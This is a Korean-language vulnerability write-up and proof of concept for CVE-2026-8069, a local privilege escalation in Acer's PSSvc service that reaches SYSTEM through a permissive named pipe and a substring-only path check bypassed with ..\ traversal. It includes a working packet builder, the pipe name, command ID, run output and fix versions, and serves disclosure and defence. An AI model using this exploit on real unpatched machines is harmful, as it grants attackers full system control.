
# CVE-2026-8069 기술 분석 및 개념 증명 Acer NitroSense 및 PredatorSense 서비스의 로컬 권한 상승 취약점에 대한 기술 분석 및 개념 증명으로, 명명된 파이프(named pipe)를 악용하여 SYSTEM 권한으로 임의 코드를 실행합니다.
Acer NitroSense 및 PredatorSense 3.x는 PSSvc라는 Windows 서비스를 설치했으며, 이 서비스는 로컬 사용자에게 사용자 지정 네임드 파이프 프로토콜을 노출했습니다. 하나의 프로토콜 명령은 호출자가 제어하는 실행 파일 경로를 수락하고, winlogon.exe의 토큰을 복제한 다음 해당 실행 파일을 NT AUTHORITY\SYSTEM으로 시작했습니다.
취약한 서비스의 경로 제한은 부분 문자열(substring) 테스트였습니다. 서비스 디렉터리 내부에서 시작한 다음 ..\ 구성 요소를 사용하는 경로는 테스트를 통과했지만 다른 위치로 확인(resolve)되었습니다. 파이프의 허용적인 접근 제어와 호출자 권한 부여 부재가 결합되어, 일반 표준 로컬 사용자가 SYSTEM 프로세스를 얻을 수 있었습니다.
Acer는 CVE-2026-8069를 지정하고 수정 버전을 공개했으며, 보안 권고에서 Hradec Králové 대학교의 Artem Domarev를 공로로 인정했습니다.
이 문서는 프로세스 생성/LPE 경로에 초점을 맞춥니다. Acer의 권고는 또한 이 검증 범위에 포함되지 않은 임의 파일 삭제에 대해서도 설명합니다.
연구 방향 선택은 SensePost의 Leon Jacobs가 발표한 OEM 소프트웨어에 대한 공개 분석의 영향을 받았습니다. 해당 연구는 ASUS DriverHub, MSI Center, Acer Control Centre 및 Razer Synapse 4의 취약점을 문서화했습니다 (Jacobs, 2025). 이는 공급업체가 제공하는 하드웨어 유틸리티가 의미 있고 충분히 탐구되지 않은 공격 표면을 노출할 수 있다는 생각을 강화했습니다. Acer Control Centre를 재검토하는 대신, 조사를 다른 Acer 제품군인 NitroSense와 PredatorSense로 확장했습니다.
악용 체인은 짧습니다:
인증된 로컬 사용자
│
▼
허용적인 PSSvc 네임드 파이프
│ 사용자 지정 명령 0x0007
▼
부분 문자열 전용 경로 검사
│ service-dir\..\..\..\Windows\System32\cmd.exe
▼
활성 세션 winlogon.exe 토큰 복제
│
▼
CreateProcessAsUserW → NT AUTHORITY\SYSTEM
공개 문구에 불일치가 있습니다. Acer의 페이지는 NitroSense 버전 "3.01.3052 이전"이 영향을 받는다고 말하지만, 이 문서에서 테스트한 공급업체 서명 PSSvc.exe 버전 3.1.3052.0은 명백히 취약합니다. 같은 페이지는 NitroSense 3.01.3056을 수정 버전으로 식별합니다. NVD 적용 범위도 3.01.3056까지(포함하지 않음) 확장됩니다.
PredatorSense의 경우, Acer의 영향 버전 문장은 3.00.3196 이전에서 멈추는 반면, 나열된 수정 버전은 3.00.3198이며 NVD는 후자를 상한 경계로 사용합니다.
따라서 보수적인 운영 규칙은 간단합니다: 모호한 "영향" 문장을 패치 확인으로 사용하지 마십시오. Acer가 명명한 수정 버전 이상으로 업그레이드하십시오—PredatorSense 3.00.3198 또는 NitroSense 3.01.3056—또는 최신 모델 호환 패키지를 사용하십시오.
이 문제는 원본 NitroSense 패키지로 재현되었습니다.
PSSvc.exe Authenticode 서명은 성공적으로 검증되었고 Acer Incorporated로 체인되었습니다. MSI는 PSSvc를 LocalSystem으로 실행되는 수동 시작(demand-start), 자체 프로세스(own-process) 서비스로 설치했습니다.
NitroSense 패키지는 다음을 설치합니다:
SERVICE_NAME: PSSvc
DISPLAY_NAME: Predator Service
TYPE: WIN32_OWN_PROCESS
START_TYPE: DEMAND_START
ACCOUNT: LocalSystem
SYSTEM 서비스가 자동으로 취약한 것은 아닙니다. 중요한 질문은 낮은 권한의 프로세스가 호출자가 신뢰할 수 있다는 가정 하에 설계된 기능에 도달할 수 있는지 여부입니다.
문자열 분석은 즉시 IPC 엔드포인트를 노출했습니다:
\\.\pipe\predatorsense_service_namedpipe
0x140014AD0에서 서비스는 파이프를 생성하고 CreateNamedPipeW에 명시적 보안 설명자를 전달합니다:
D:(A;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GRGWGX;;;AU)(A;OICI;GA;;;BA)
이것은 명시적으로 바로잡을 가치가 있습니다: 취약한 빌드는 NULL 설명자를 전달하지 않습니다. 허용적인 DACL을 생성합니다.
AU ACE는 일반 인증된 사용자가 읽기 및 쓰기를 위해 파이프를 열기에 충분합니다. 그런 다음 서버는 클라이언트를 가장(impersonate)하여 권한 있는 명령을 디스패치하기 전에 권한 부여 결정을 수행하지 않습니다.
0x14000ABB0의 클라이언트 스레드는 메시지를 512바이트 버퍼로 읽습니다. 처음 3바이트를 16비트 명령 번호와 8비트 인수 개수로 구문 분석합니다. 각 인수는 길이 접두사가 붙습니다:
오프셋 크기 의미
0x00 2 명령 ID, 리틀 엔디언
0x02 1 인수 개수
0x03 4 인수 0의 길이
0x07 n 인수 0의 바이트
... 반복되는 DWORD 길이 + 값
문자열 인수는 UTF-16LE입니다. 정수 인수는 리틀 엔디언 DWORD입니다. 디스패처는 0x23 미만의 명령 ID를 수락하고 이를 0x140052C90의 35개 항목 함수 테이블의 인덱스로 사용합니다.
명령 0x0007의 항목은 0x14000BFD0을 가리킵니다.
보안 관련 동작으로 축소하면 핸들러는 다음과 같습니다:
int command_07(parsed_arguments *args)
{
wchar_t service_directory[MAX_PATH];
wchar_t *requested_path = args->wide_string[0];
uint32_t mode = args->dword[1];
GetModuleFileNameW(NULL, service_directory, MAX_PATH);
PathRemoveFileSpecW(service_directory);
if (wcsstr(requested_path, service_directory) != NULL)
return launch_with_selected_token(requested_path, mode);
return 0;
}
wcsstr는 한 문자열이 다른 문자열 내에 발생하는지 여부만 답합니다. 경로를 정규화하거나, 점 세그먼트를 확인하거나, 파일을 열거나, 최종 개체가 신뢰할 수 있는 디렉터리 아래에 남아 있음을 증명하지 않습니다.
서비스가 다음에 설치되어 있다고 가정합니다:
C:\Program Files\Acer\NitroSense_Service
다음 경로는 오프셋 0에서 해당 디렉터리를 포함하므로 wcsstr가 성공합니다:
C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe
Windows는 점 세그먼트를 다음으로 확인합니다:
C:\WINDOWS\System32\cmd.exe
이것은 전형적인 정규화 오류입니다: 검증은 하나의 텍스트 표현에서 수행되는 반면, 민감한 작업은 정규화된 의미를 소비합니다.
0x1400091F0의 프로세스 실행 도우미는 두 번째 인수가 0x72(10진수 114)일 때 특수 분기가 있습니다. 다음을 수행합니다:
CreateToolhelp32Snapshot으로 프로세스를 열거합니다;winlogon.exe를 찾습니다;winsta0\default에서 시작합니다.테스트된 바이너리의 중요한 호출 사이트는 다음과 같습니다:
이는 명령 0x0007이 단순히 서비스에 자체 신뢰할 수 있는 도구 중 하나를 실행하도록 요청하는 것이 아님을 의미합니다. 일반 사용자가 접근할 수 있는 파이프에 일반 SYSTEM 토큰 프로세스 실행기를 노출합니다.
필수 패킷 빌더는 작습니다:
import struct
def build_packet(command_id, *arguments):
packet = struct.pack("<HB", command_id, len(arguments))
for argument in arguments:
if isinstance(argument, str):
argument = argument.encode("utf-16-le")
elif isinstance(argument, int):
argument = struct.pack("<I", argument)
packet += struct.pack("<I", len(argument)) + argument
return packet
service_dir = r"C:\Program Files\Acer\NitroSense_Service"
target = service_dir + r"\..\..\..\WINDOWS\System32\cmd.exe"
# 핸들러는 경로, 토큰 모드 및 8개의 추가 슬롯을 기대합니다.
packet = build_packet(0x0007, target, 0x72, *([b"\x00" * 4] * 8))
전체 검증 스크립트는 CreateFileW로 파이프를 열고, 메시지 모드를 설정하고, 이 패킷을 보내고, 서비스의 응답을 디코딩합니다. 하드 코딩 대신 설치된 서비스 경로를 발견하고, 아무것도 보내기 전에 정규화된 대상을 확인합니다.
이 문서에 사용된 전체 스크립트는 acer_cve_2026_8069_poc.py로 제공됩니다.
공급업체의 Setup.exe는 하드웨어 검사를 수행하고 비공개 MSI 속성을 제공합니다. NitroSense.msi를 추출하고 .NET 부트스트래퍼에서 해당 속성을 복구했습니다:
$arguments = @(
'/i', 'C:\Lab\NitroSense.msi',
'BOOTSTRATOR=1', 'ISDT=0', 'RGBKB=0', 'ICPU=0',
'BRAND=0', 'ACER=1', 'BRANDNAME=Acer',
'GPRODUCTNAME=NitroSense_Service',
'/qn', '/norestart',
'/l*v', 'C:\Lab\install.log'
)
Start-Process msiexec.exe -ArgumentList $arguments -Wait
이러한 속성은 환경 검사를 통과하지 못하는 하드웨어에서 부트스트래퍼의 설치 경로를 재현합니다.
설치 후 파일 버전, SHA-256 및 서명을 확인한 다음 수동 시작 서비스를 시작했습니다:
sc.exe qc PSSvc
sc.exe start PSSvc
요청은 중간 무결성에서 실행되는 표준, 비관리자 로컬 계정에서 전송되었습니다.
해당 계정에서:
py .\acer_cve_2026_8069_poc.py --exec-test --target cmd.exe
서비스가 반환했습니다:
[PASS] Connected
[INFO] Sending CMD 0x0007: path='cmd.exe', mode=0x72
Packet size: 227 bytes
Raw response: 010400000001000000
Return code: 1
[CRITICAL] PROCESS CREATED SUCCESSFULLY
PoC의 성공 메시지 자체가 증거는 아닙니다. 관리자 증거 채널에서 결과 프로세스를 독립적으로 쿼리했습니다:
Parent : PSSvc.exe
Session : Interactive
Owner : NT AUTHORITY\SYSTEM
CommandLine : "C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe"
SYSTEM 셸은 대화형 세션에서 PSSvc.exe의 직접 자식이었으며, 명령줄에 트래버설 경로가 보존되어 있었습니다.
또한 성공적인 요청 중에 서비스 API를 추적했습니다. 추적은 활성 세션 1, 성공적인 WTSQueryUserToken, 프로세스 스냅샷, 세션의 winlogon.exe에 대한 OpenProcess, 성공적인 DuplicateTokenEx, 무결성 토큰 수정 및 프로세스 실행 도우미의 성공 반환을 기록했습니다.


이것은 하나의 고립된 잘못된 비교가 아니었습니다. 악용에는 여러 신뢰 실패가 일치해야 했습니다:
wcsstr로 구현되었습니다.winlogon.exe 토큰을 복제하는 코드를 노출했습니다.마지막 네 개의 연결 중 하나라도 제거했다면 이 LPE 경로를 방지할 수 있었습니다. 심층 방어는 모두 제거해야 합니다.
Acer의 지원되는 수정 방법은 PredatorSense 3.00.3198, NitroSense 3.01.3056 이상으로 업데이트하는 것입니다. 공급업체 권고에 설명된 대로 시스템의 일련 번호 또는 SNID에 대해 Acer가 제공하는 패키지를 사용하십시오.
권한 있는 Windows 서비스 개발자를 위한 광범위한 교훈은 다음과 같습니다:
| 날짜 | 이벤트 |
|---|---|
| 2026-02-19 | 취약점 보고서 작성 및 Acer에 제출. |
| 2026-05-08 | CVE-2026-8069가 CVE/NVD 생태계에 게시됨. |
| 2026 | Acer가 권고를 게시하고 연구원을 공로로 인정했으며 수정된 PredatorSense 및 NitroSense 버전을 명명함. |
| 2026-08-28 | 이 문서를 위한 독립적 재현 완료. |
로컬 네임드 파이프는 신뢰할 수 있는 경계로 오인하기 쉽습니다. 그것들은 단지 전송 메커니즘일 뿐입니다. SYSTEM 서비스가 명령 디스패처를 노출할 때, 파이프 ACL, 호출자 권한 부여, 인수 검증 및 권한 있는 구현 모두가 보안 경계의 일부가 됩니다.
여기서 허용적인 파이프가 토큰 복제 루틴에 도달했고, 부분 문자열 검사가 경로 포함을 대신하려고 했습니다. 결과는 표준 로컬 사용자에서 NT AUTHORITY\SYSTEM으로의 안정적인 전환이었습니다.
이 문서와 원본 연구 미디어는 Creative Commons Attribution 4.0 International에 따라 라이선스가 부여됩니다. PoC 소스 코드는 MIT License에 따라 라이선스가 부여됩니다. 범위 및 타사 제외 사항은 LICENSE.md를 참조하십시오.
| 항목 | 결과 |
|---|
| CVE | CVE-2026-8069 |
| 테스트된 취약 구성 요소 | PSSvc.exe 3.1.3052.0, Acer Incorporated 서명 |
| 서비스 ID | LocalSystem |
| IPC 엔드포인트 | \\.\pipe\predatorsense_service_namedpipe |
| 취약 명령 | 0x0007 |
| 필요한 공격자 접근 권한 | 프로그램을 실행할 수 있는 인증된 로컬 사용자 |
| 사용자 상호 작용 | 없음 |
| 결과 | NT AUTHORITY\SYSTEM으로 임의 실행 파일 실행 |
| NVD CVSS v3.1 | 7.8 High — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 수정 버전 | PredatorSense 3.00.3198; NitroSense 3.01.3056 |
| 아티팩트 | SHA-256 |
|---|
NitroSense_V3.01.3052_MSFT_SIGNED_20230420.zip | 947FB7C62665875450AFA9C9E7919D2B061ED8197C11B28D64781F121B30C157 |
NitroSense.msi | 6F9D405B6D2ADF2992C4E071453AD2C919A6DD38A89A31EF96EAFE81C50A745C |
설치된 PSSvc.exe 3.1.3052.0 | 3BA836B6A5D95B55708E771B74F49098F58B096EF1F63C5CCAE355811E193A40 |
| 검증에 사용된 PoC | 31BC81140BAB64A8B0CB70ACC1C2CF3CA84A7B00015E5610AC075DC50DCB0163 |
| SID 약어 | 보안 주체 | SDDL의 유효 권한 |
|---|
BG | 기본 제공 게스트 | 모든 권한(Generic All) |
AN | 익명(Anonymous) | 모든 권한 거부(Generic All denied) |
AU | 인증된 사용자 | 읽기, 쓰기 및 실행(Generic Read, Write and Execute) |
BA | 기본 제공 관리자 | 모든 권한(Generic All) |
| 작업 | 주소 |
|---|
CreateToolhelp32Snapshot | 0x140009298 |
OpenProcessToken | 0x140009346 |
DuplicateTokenEx | 0x1400093B0 |
CreateProcessAsUserW | 0x1400094BF / 0x1400094C7 |